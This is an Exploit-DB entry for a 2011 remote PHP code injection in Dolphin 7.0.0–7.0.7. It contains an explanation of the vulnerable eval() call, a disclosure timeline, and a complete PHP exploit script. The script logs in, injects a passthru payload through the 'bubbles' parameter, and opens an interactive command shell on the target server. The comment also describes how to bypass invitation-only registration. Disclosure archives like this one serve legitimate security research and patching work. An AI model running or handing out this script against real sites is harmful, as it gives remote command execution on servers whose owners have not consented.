Dolphin 7.0.7 - 'member_menu_queries.php' Remote PHP Code Injection

EDB-ID:

17994

CVE:



Author:

EgiX

Type:

webapps


Platform:

PHP

Date:

2011-10-18


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<?php

/*
    ----------------------------------------------------------------------------
    Dolphin <= 7.0.7 (member_menu_queries.php) Remote PHP Code Injection Exploit
    ----------------------------------------------------------------------------
    
    author...............: EgiX
    mail.................: n0b0d13s[at]gmail[dot]com
    software link........: http://www.boonex.com/dolphin
    affected versions....: from 7.0.0 to 7.0.7
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] vulnerable code in /member_menu_queries.php
    
    61.                case 'get_bubbles_values' :
    62.                    $sBubbles = ( isset($_GET['bubbles']) ) ?  $_GET['bubbles'] : null;
    63.                    if ( $sBubbles && $iMemberId ) {
    64.    
    65.                        $aMemberInfo  = getProfileInfo($iMemberId);
    66.                        if($aMemberInfo['UserStatus'] != 'offline') {
    67.                            // update the date of last navigate;
    68.                            update_date_lastnav($iMemberId);
    69.                        }
    70.    
    71.                        $aBubbles = array();
    72.                        $aBubblesItems = explode(',', $sBubbles);
    73.    
    74.                        if ( $aBubblesItems && is_array($aBubblesItems) ) {
    75.                            $bClearCache = false;
    76.                            foreach( $aBubblesItems as $sValue)
    77.                            {
    78.                                $aItem   = explode(':', $sValue);
    79.    
    80.                                $sBubbleCode = null;
    81.                                foreach($aMenuStructure as $sKey => $aItems)
    82.                                {
    83.                                    foreach($aItems as $iKey => $aSubItems)
    84.                                    {
    85.                                        if( $aSubItems['Name'] == $aItem[0]) {
    86.                                            $sBubbleCode = $aSubItems['Bubble'];
    87.                                            break;
    88.                                        }
    89.                                    }
    90.    
    91.                                    if ($sBubbleCode) {
    92.                                        break;
    93.                                    }
    94.                                }
    95.    
    96.                                if ($sBubbleCode) {
    97.                                    $sCode  = str_replace('{iOldCount}', $aItem[1], $sBubbleCode);
    98.                                    $sCode  = str_replace('{ID}', $iMemberId, $sCode);
    99.    
    100.                                   eval($sCode);
    
    When handling 'get_bubbles_values' action, input passed through $_GET['bubbles'] isn't properly sanitized
    before being used in a call to eval() at line 100, this can be exploited to inject arbitrary PHP code.
    Successful exploitation of this vulnerability requires authentication, but is always possible to create a
    new account also if 'REGISTRATION BY INVITATION ONLY' is enabled, in this case an attacker could bypass
    the restriction visiting first /index.php?idFriend=1 and after point to /join.php for a new registration.
    
    
    [-] Disclosure timeline:
    
    [25/09/2011] - Vulnerability discovered
    [26/09/2011] - Issue reported to http://www.boonex.com/forums/topic/PHP-Code-Injection.htm
    [26/09/2011] - A moderator hide the topic
    [29/09/2011] - Vendor contacted again through http://www.boonex.com/help/contact
    [04/10/2011] - Vendor replied that there is a designated place for this kind of report: "Dolphin Bug Reports" forum
    [04/10/2011] - I replied that I've already posted in this forum, but the topic has been hidden
    [05/10/2011] - Vendor reply: "It may has been hidden because it WASN'T posted in the proper place"
    [05/10/2011] - My reply: "It has been hidden for security reason, the moderator told me to report the issue through http://www.boonex.com/help/contact"
    [08/10/2011] - Vendor replied that a patch will be released as soon as possible
    [13/10/2011] - Vendor update released: http://www.boonex.com/n/dolphin-7-0-8-beta-1
    [18/10/2011] - Public disclosure
    
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die( "\n[-] No response from {$host}:80\n");
    
    fwrite($sock, $packet);
    return stream_get_contents($sock);
}

print "\n+------------------------------------------------------------+";
print "\n| Dolphin <= 7.0.7 Remote PHP Code Injection Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";

if ($argc < 5)
{
    print "\nUsage......: php $argv[0] <host> <path> <username> <password>\n";
    print "\nExample....: php $argv[0] localhost / user pass";
    print "\nExample....: php $argv[0] localhost /dolphin/ user pass\n";
    die();
}

$host = $argv[1];
$path = $argv[2];

$payload = "ID={$argv[3]}&Password={$argv[4]}";
$packet  = "POST {$path}member.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
    
if (!preg_match("/memberID=([0-9]+).*memberPassword=([0-9a-f]+)/is", http_send($host, $packet), $m)) die("\n[-] Login failed!\n");

$phpcode = "1);error_reporting(0);passthru(base64_decode(\$_SERVER[HTTP_CMD])";
$packet  = "GET {$path}member_menu_queries.php?action=get_bubbles_values&bubbles=Friends:{$phpcode} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: memberID={$m[1]}; memberPassword={$m[2]}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
    print "\ndolphin-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    preg_match("/\r\n\r\n(.*)\{\"Friends/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
    print $m[1] : die("\n[-] Exploit failed!\n");
}

?>